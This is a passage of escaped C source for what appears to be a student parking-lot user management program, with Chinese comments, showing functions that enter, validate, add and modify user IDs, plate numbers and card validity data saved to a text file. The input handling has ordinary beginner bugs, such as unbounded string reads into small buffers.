}while(m>1000);\\r\\n\\r\\n\\tfor(i=0;i<m;i++)\\r\\n\\t{\\r\\n\\t\\tdo //录入用户id\\r\\n\\t\\t{\\r\\n\\t\\t\\tflag=1;\\r\\n\\t\\t\\tdo //判断用户id是否合理\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\tprintf(\\\"请输入由字母与数字组成的6位用户ID：\\\");\\r\\n\\t\\t\\t\\tscanf(\\\"%s\\\",&uid);\\r\\n\\t\\t\\t\\tif(strlen(uid)!=6)\\r\\n\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\tfor(k=0;uid[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\tif(isalnum(uid[k])==0) //判断用户id是否为字母与数字：isalnum\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\tfor(j=0;j<i && flag;j++) //用户id查重\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif((strcmp(user[j].id,uid))==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tprintf(\\\"该用户已存在,请重新输入：\\\");\\r\\n\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t}while(!flag);\\r\\n\\r\\n\\t\\tdo //录入第一辆车\\r\\n\\t\\t{\\r\\n\\t\\t\\tflag=1;\\r\\n\\t\\t\\tdo //判断车牌是否合理:不为0；字母与数字组合\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\tprintf(\\\"请输入由字母与数字组成的车牌号：\\\");\\r\\n\\t\\t\\t\\tscanf(\\\"%s\\\",&cid1);\\t\\r\\n\\t\\t\\t\\tif((strcmp(cid1,\\\"0\\\"))==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tprintf(\\\"用户至少有一辆车!\\\");\\r\\n\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\tfor(k=0;cid1[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tif(isalnum(cid1[k])==0)\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\tfor(j=0;j<i && flag;j++) //车牌查重\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif((strcmp(user[j].carid1,cid1))==0 || (strcmp(user[j].carid2,cid1))==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tprintf(\\\"该车已存在！\\\");\\r\\n\\t\\t\\t flag=0;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t}while(!flag);\\r\\n\\r\\n\\t\\tdo //录入第二辆车,操作同一\\r\\n\\t\\t{\\r\\n\\t\\t\\tflag=1;\\r\\n\\t\\t\\tdo \\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\tprintf(\\\"若有第二辆车，请输入由字母与数字组成的车牌号,若没有请输入0：\\\");\\r\\n\\t\\t\\t\\tscanf(\\\"%s\\\",&cid2);\\r\\n\\t\\t\\t\\tfor(k=0;cid2[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\tif(isalnum(cid2[k])==0)\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\r\\n\\t\\t\\t\\tif(strcmp(cid1,cid2)==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tprintf(\\\"该车牌号已经输入过了！请重新输入： \\\");\\r\\n\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t};\\r\\n\\t\\t\\t}while(!flag);\\r\\n\\r\\n\\t\\t\\tif(strcmp(cid2,\\\"0\\\")!=0)\\r\\n\\t\\t\\t\\tfor(j=0;j<i;j++)\\r\\n\\t\\t\\t\\t\\tif((strcmp(user[j].carid2,cid2))==0 || (strcmp(user[j].carid1,cid2))==0)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"该车已存在!\\\");\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t}while(!flag);\\r\\n\\r\\n\\t\\tif(flag) //录入有效期并写入文件\\r\\n\\t\\t{\\r\\n\\t\\t\\tstrcpy(user[i].id,uid);\\r\\n\\t\\t\\tstrcpy(user[i].carid1,cid1);\\r\\n\\t\\t\\tstrcpy(user[i].carid2,cid2);\\r\\n\\r\\n\\t\\t\\tdo //有效期录入\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tprintf(\\\"卡类型(year/time):\\\");\\r\\n\\t\\t\\t\\tscanf(\\\"%s\\\",tcard);\\r\\n\\r\\n\\t\\t\\t\\tif((strcmp(tcard,\\\"year\\\"))==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tdo \\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"请输入有效使用期:\\\");\\r\\n\\t\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&va);\\r\\n\\t\\t\\t\\t\\t\\tif(strlen(va)!=6)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\tfor(k=0;va[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\t\\tif(isdigit(va[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\tif(flag)\\r\\n\\t\\t\\t\\t\\t\\t\\tv=atol(va);\\r\\n\\t\\t\\t\\t\\t\\tif(v<=time) //有效期与今日时间对比\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\tuser[i].valid=v;\\r\\n\\t\\t\\t\\t\\tstrcpy(user[i].card,\\\"year\\\");\\r\\n\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\telse if((strcmp(tcard,\\\"time\\\"))==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"请输入有效次数(一次性输入最大使用次数为30):\\\");\\r\\n\\t\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&va);\\r\\n\\t\\t\\t\\t\\t\\tfor(k=0;va[k]!='\\\\0' && flag;k++) //先判断输入是否为数字\\r\\n\\t\\t\\t\\t\\t\\t\\tif(isdigit(va[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\tif(flag)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tv=atoi(va);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif(v>30 || v<=0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\tuser[i].valid=v;\\r\\n\\t\\t\\t\\t\\tstrcpy(user[i].card,\\\"time\\\");\\r\\n\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}while(flag);\\r\\n\\r\\n\\t\\t\\tstrcpy(user[i].car1in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\tstrcpy(user[i].car2in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\tif((strcmp(user[i].carid2,\\\"0\\\"))==0)\\r\\n\\t\\t\\t\\tstrcpy(user[i].car2in,\\\"无车辆\\\");\\r\\n\\t\\t\\tprintf(\\\"\\\\n\\\");\\r\\n\\t\\t};\\r\\n\\t};\\r\\n\\tprintf(\\\"OK!\\\");\\r\\n\\tsave(m);\\r\\n};\\r\\n\\r\\nvoid add() //添加信息\\r\\n{ //add函数的所有添加，验证，容错功能都与creat相同\\r\\n\\tFILE* fp;\\r\\n\\tint n,i,j,flag,k,count=0;\\r\\n\\tint m=load();\\r\\n\\tchar uid[7],ucid1[7],ucid2[7],t[7],va[7],tcard[5];\\r\\n\\tlong time,v;\\r\\n\\r\\n\\tif (isFull()){printf(\\\"用户已满，不能添加！\\\");return;} // 判断是否达到容量上限\\r\\n\\r\\n\\tdo //日期输入\\r\\n\\t{\\r\\n\\t\\tflag=1;\\r\\n\\t\\tprintf(\\\"请输入今日日期(例190212): \\\");\\r\\n\\t\\tscanf(\\\"%s\\\",&t);\\r\\n\\t\\tif(strlen(t)!=6)\\r\\n\\t\\t\\tflag=0;\\r\\n\\t\\tfor(k=0;t[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\tif(isdigit(t[k])==0)\\r\\n\\t\\t\\t\\tflag=0;\\r\\n\\t}while(!flag);\\r\\n\\ttime=atol(t);\\r\\n\\r\\n\\tfp=fopen(\\\"car.txt\\\",\\\"a\\\");\\r\\n\\tdo{\\r\\n\\t\\tprintf(\\\"现在已有%d个用户，最多还可添加%d个用户，要添加几个？\\\",m,1000-m);\\r\\n\\t\\tscanf(\\\"%d\\\",&n);\\r\\n\\t}while(n+m>1000);\\r\\n\\tfor(i=m;i<(m+n);i++)\\r\\n\\t{\\r\\n\\t\\tdo\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//录入用户id并检查是否合理\\r\\n\\t\\t{\\r\\n\\t\\t\\tdo\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\tprintf(\\\"请输入由字母与数字组成的用户ID：\\\");\\r\\n\\t\\t\\t\\tscanf(\\\"%s\\\",&uid);\\r\\n\\t\\t\\t\\tif(strlen(uid)!=6)\\r\\n\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\tfor(k=0;uid[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\tif(isalnum(uid[k])==0)\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t}while(!flag);\\r\\n\\t\\t for(j=0;j<i && flag;j++)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif((strcmp(user[j].id,uid))==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tprintf(\\\"该用户已存在!\\\");\\r\\n\\t\\t\\t flag=0;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t}while(!flag);\\r\\n\\r\\n\\t\\tdo\\t\\t\\t\\t\\t\\t\\t\\t\\t// 录入第一辆车\\r\\n\\t\\t{\\r\\n\\t\\t\\tflag=1;\\r\\n\\t\\t\\tdo\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\tprintf(\\\"输入由字母与数字组成的车牌号：\\\");\\r\\n\\t\\t\\t\\tscanf(\\\"%s\\\",&ucid1);\\t\\r\\n\\t\\t\\t\\tif(strcmp(ucid1,\\\"0\\\")==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\tprintf(\\\"用户至少有一辆车!\\\");\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\tfor(k=0;ucid1[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\tif(isalnum(ucid1[k])==0)\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t}while(!flag);\\r\\n\\r\\n\\t\\t\\tfor(j=0;j<i && flag;j++)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif((strcmp(user[j].carid1,ucid1))==0 || (strcmp(user[j].carid2,ucid1))==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tprintf(\\\"该车已存在!\\\");\\r\\n\\t\\t\\t flag=0;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t}while(!flag);\\r\\n\\r\\n\\t\\tdo //录入第二辆车\\r\\n\\t\\t{\\r\\n\\t\\t\\tflag=1;\\r\\n\\t\\t\\tdo\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\tprintf(\\\"若有第二辆车，请输入由字母与数字组成的车牌号,若没有请输入0：\\\");\\r\\n\\t\\t\\t\\tscanf(\\\"%s\\\",&ucid2);\\t\\r\\n\\t\\t\\t\\tfor(k=0;ucid2[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\tif(isalnum(ucid2[k])==0)\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t\\tif(strcmp(ucid1,ucid2)==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tprintf(\\\"该车牌号刚才输入过了! \\\");\\r\\n\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t};\\r\\n\\t\\t\\t}while(!flag);\\r\\n\\r\\n\\t\\t\\tif((strcmp(ucid2,\\\"0\\\"))!=0)\\r\\n\\t\\t\\t\\tfor(j=0;j<i;j++)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tif((strcmp(user[j].carid2,ucid2))==0 || (strcmp(user[j].carid1,ucid2))==0)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"该车已存在！\\\");\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t}while(!flag);\\r\\n\\r\\n\\t\\tif(flag)\\r\\n\\t\\t{\\r\\n\\t\\t\\tstrcpy(user[i].id,uid);\\r\\n\\t\\t\\tstrcpy(user[i].carid1,ucid1);\\r\\n\\t\\t\\tstrcpy(user[i].carid2,ucid2);\\r\\n\\t\\t\\tdo\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tprintf(\\\"卡类型(year/time):\\\"); //输入卡类型\\r\\n\\t\\t\\t\\tscanf(\\\"%s\\\",tcard);\\r\\n\\r\\n\\t\\t\\t\\tif((strcmp(tcard,\\\"year\\\"))==0) //年卡输入有效期\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tdo \\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"请输入有效使用期:\\\");\\r\\n\\t\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&va);\\r\\n\\t\\t\\t\\t\\t\\tif(strlen(va)!=6)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\tfor(k=0;va[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\t\\tif(isdigit(va[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\tif(flag)\\r\\n\\t\\t\\t\\t\\t\\t\\tv=atol(va);\\r\\n\\t\\t\\t\\t\\t\\tif(v<=time) //有效期与今日时间对比\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\tuser[i].valid=v;\\r\\n\\t\\t\\t\\t\\tstrcpy(user[i].card,\\\"year\\\");\\r\\n\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\telse if((strcmp(tcard,\\\"time\\\"))==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tdo //次卡输入有效次数\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"请输入有效次数(一次性输入最大使用次数为30):\\\");\\r\\n\\t\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&va);\\r\\n\\t\\t\\t\\t\\t\\tfor(k=0;va[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\t\\tif(isdigit(va[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t\\tif(flag)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tv=atoi(va);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif(v>30 || v<=0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\tuser[i].valid=v;\\r\\n\\t\\t\\t\\t\\tstrcpy(user[i].card,\\\"time\\\");\\r\\n\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}while(flag);\\r\\n\\r\\n\\t\\t\\tstrcpy(user[i].car1in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\tstrcpy(user[i].car2in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\tif((strcmp(user[i].carid2,\\\"0\\\"))==0)\\r\\n\\t\\t\\t\\tstrcpy(user[i].car2in,\\\"无车辆\\\");\\r\\n\\t\\t\\tprintf(\\\"\\\\n\\\");\\r\\n\\t\\t};\\r\\n\\t\\tcount+=1;\\r\\n\\t};\\r\\n\\tprintf(\\\"OK!\\\\n\\\");\\r\\n\\tm=m+count;\\r\\n\\tsave(m); //保存\\r\\n\\tfclose(fp);\\r\\n};\\r\\n\\r\\nvoid modify() //修改信息函数\\r\\n{ \\r\\n\\tint q,f,loc=-1,i,k,j,ss,x; //loc代表用户序号\\r\\n\\tint m=load();\\r\\n\\tchar id[6],cid[6];\\r\\n\\tdo\\r\\n\\t{\\r\\n\\t\\tf=1;\\r\\n\\t\\tprintf(\\\"按用户id修改请选择1，按车牌修改请选择2,放弃修改选择3：\\\");\\r\\n\\t\\tscanf(\\\"%d\\\",&q);\\r\\n\\t\\tif(q>=1&&q<=3)\\r\\n\\t\\t{\\r\\n\\t\\t\\tf=1;\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t{\\r\\n\\t\\t\\tf=0;\\r\\n\\t\\t\\tprintf(\\\"无效的选择!\\\\n\\\");\\r\\n\\t\\t}\\r\\n\\t}while(!f); \\r\\n\\r\\n\\tswitch(q)\\r\\n\\t{\\r\\n\\tcase 1:\\r\\n\\t\\tprintf(\\\"请输入要修改的用户id:\\\");\\r\\n\\t\\tscanf(\\\"%s\\\",id);\\r\\n\\t\\tfor(i=0;i<m;i++)\\r\\n\\t\\t{\\r\\n\\t\\t\\tif(strcmp(user[i].id,id)==0) // 先检查是否存在该用户id\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tloc=i;\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\tbreak;\\r\\n\\tcase 2:\\r\\n\\t\\tprintf(\\\"请输入要修改信息的用户的车牌号:\\\");\\r\\n\\t\\tscanf(\\\"%s\\\",&cid);\\r\\n\\t\\tfor(i=0;i<m;i++)\\r\\n\\t\\t{\\r\\n\\t\\t\\tif(strcmp(user[i].carid1,cid)==0 || strcmp(user[i].carid2,cid)==0)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tloc=i;\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\t\\t\\r\\n\\tbreak;\\r\\n\\tdefault:break;\\r\\n\\t}\\r\\n\\r\\n\\tint flag=0,c;\\r\\n\\tchar card[4],t[7],c1id[6],c2id[6],va[6];\\r\\n\\tlong v=0,td;\\r\\n\\r\\n\\tif(loc==-1){\\r\\n\\t\\tprintf(\\\"该用户不存在！\\\");\\r\\n\\t}\\r\\n\\telse{ // 输出该用户信息，决定是否要修改\\r\\n\\t\\tint n;\\r\\n\\t\\tprintf(\\\"该用户信息为：\\\\n\\\");\\r\\n\\t\\tprintf(\\\"\\\\t%s,\\\\t%s,\\\\t%d,\\\\t%s,\\\\t%s,\\\\t%s,\\\\t%s\\\\n\\\",user[loc].id,user[loc].card,user[loc].valid,user[loc].carid1,user[loc].carid2,user[loc].car1in,user[loc].car2in);\\r\\n\\t\\tprintf(\\\"确定修改该用户请选择1，放弃修改请选择0：\\\");\\r\\n\\t\\tscanf(\\\"%d\\\",&n);\\r\\n\\t\\tif(n==1)\\r\\n\\t\\t{\\r\\n\\t\\t\\tprintf(\\\"\\\\n1.id 2.卡类型 3.有效日期/有效时间 4.车牌号\\\\n\\\");\\r\\n\\t\\t\\tdo\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\tprintf(\\\"请输入您要修改的序号：\\\");\\r\\n\\t\\t\\t\\tscanf(\\\"%d\\\",&c);\\r\\n\\t\\t\\t\\tif(c>4 || c<1)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\tprintf(\\\"无效的选择，请重新选择：\\\");\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}while(!flag);\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\tif(!flag){return;}\\r\\n\\r\\n\\tdo\\r\\n\\t{\\r\\n\\t\\tswitch(c)\\r\\n\\t\\t{\\r\\n\\t\\tcase 1:\\r\\n\\t\\t\\tdo\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tprintf(\\\"请输入由数字与字母组成的修改后的用户ID：\\\");\\r\\n\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&id);\\r\\n\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\tif(strlen(id)!=6){flag=0;}\\r\\n\\t\\t\\t\\t\\tfor(k=0;id[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\tif(isalnum(id[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\tfor(j=0;j<m;j++) // 用户id查重\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tif((strcmp(user[j].id,id))==0) \\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"该id已存在,请重新输入：\\\");\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\tstrcpy(user[loc].id,id);\\r\\n\\t\\t\\tbreak;\\r\\n\\r\\n\\t\\tcase 2:\\r\\n\\t\\t\\tprintf(\\\"请输入修改后的卡类型(year/time)：\\\");\\r\\n\\t\\t\\tscanf(\\\"%s\\\",card);\\t\\r\\n\\t\\t\\tif((strcmp(card,\\\"time\\\"))==0)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tstrcpy(user[loc].card,card);\\r\\n\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\tprintf(\\\"请输入该卡有效次数：\\\");\\r\\n\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&va);\\r\\n\\t\\t\\t\\t\\tfor(k=0;va[k]!='\\\\0' && flag;k++) //判断输入是否为数字，并且大于0，小于30\\r\\n\\t\\t\\t\\t\\t\\tif(isdigit(va[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\tif(flag)\\r\\n\\t\\t\\t\\t\\t\\tv=atoi(va);\\r\\n\\t\\t\\t\\t\\t\\tif(v>30 || v<=0)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\tuser[loc].valid=v;\\r\\n\\t\\t\\t}\\t\\r\\n\\t\\t\\telse if((strcmp(card,\\\"year\\\"))==0)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tstrcpy(user[loc].card,card);\\r\\n\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\tprintf(\\\"请输入今日日期(例190212): \\\");\\r\\n\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&t);\\r\\n\\t\\t\\t\\t\\tif(strlen(t)!=6) // 判断日期是否为6位，并且是数字\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\tfor(k=0;t[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\tif(isdigit(t[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\ttd=atol(t);\\t\\r\\n\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\tprintf(\\\"请输入有效使用期:\\\");\\r\\n\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&va);\\r\\n\\t\\t\\t\\t\\tif(strlen(va)!=6)\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\tfor(k=0;va[k]!='\\\\0' && flag;k++) // 有效期必须大于今日日期\\r\\n\\t\\t\\t\\t\\t\\tif(isdigit(va[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\tif(flag)\\r\\n\\t\\t\\t\\t\\t\\tv=atol(va);\\r\\n\\t\\t\\t\\t\\t\\tif(v<=td)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\tuser[loc].valid=v;\\r\\n\\t\\t\\t};\\r\\n\\t\\t\\tbreak;\\r\\n\\r\\n\\t\\tcase 3:\\r\\n\\t\\t\\tif((strcmp(user[loc].card,\\\"time\\\"))==0)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tdo //修改有效次数\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\tprintf(\\\"请输入该卡有效次数：\\\");\\r\\n\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&va);\\r\\n\\t\\t\\t\\t\\tfor(k=0;va[k]!='\\\\0' && flag;k++) \\r\\n\\t\\t\\t\\t\\t\\tif(isdigit(va[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\tif(flag)\\r\\n\\t\\t\\t\\t\\t\\tv=atoi(va);\\r\\n\\t\\t\\t\\t\\t\\tif(v>30 || v<=0)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\t\\t\\r\\n\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\tuser[loc].valid=v;\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\telse if((strcmp(user[loc].card,\\\"year\\\"))==0)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tdo //修改有效日期\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\tprintf(\\\"请输入今日日期(例190212): \\\");\\r\\n\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&t);\\r\\n\\t\\t\\t\\t\\tif(strlen(t)!=6)\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\tfor(k=0;t[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\tif(isdigit(t[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\ttd=atol(t);\\t\\r\\n\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\tprintf(\\\"请输入有效使用期:\\\");\\r\\n\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&va);\\r\\n\\t\\t\\t\\t\\tif(strlen(va)!=6)\\r\\n\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\tfor(k=0;va[k]!='\\\\0' && 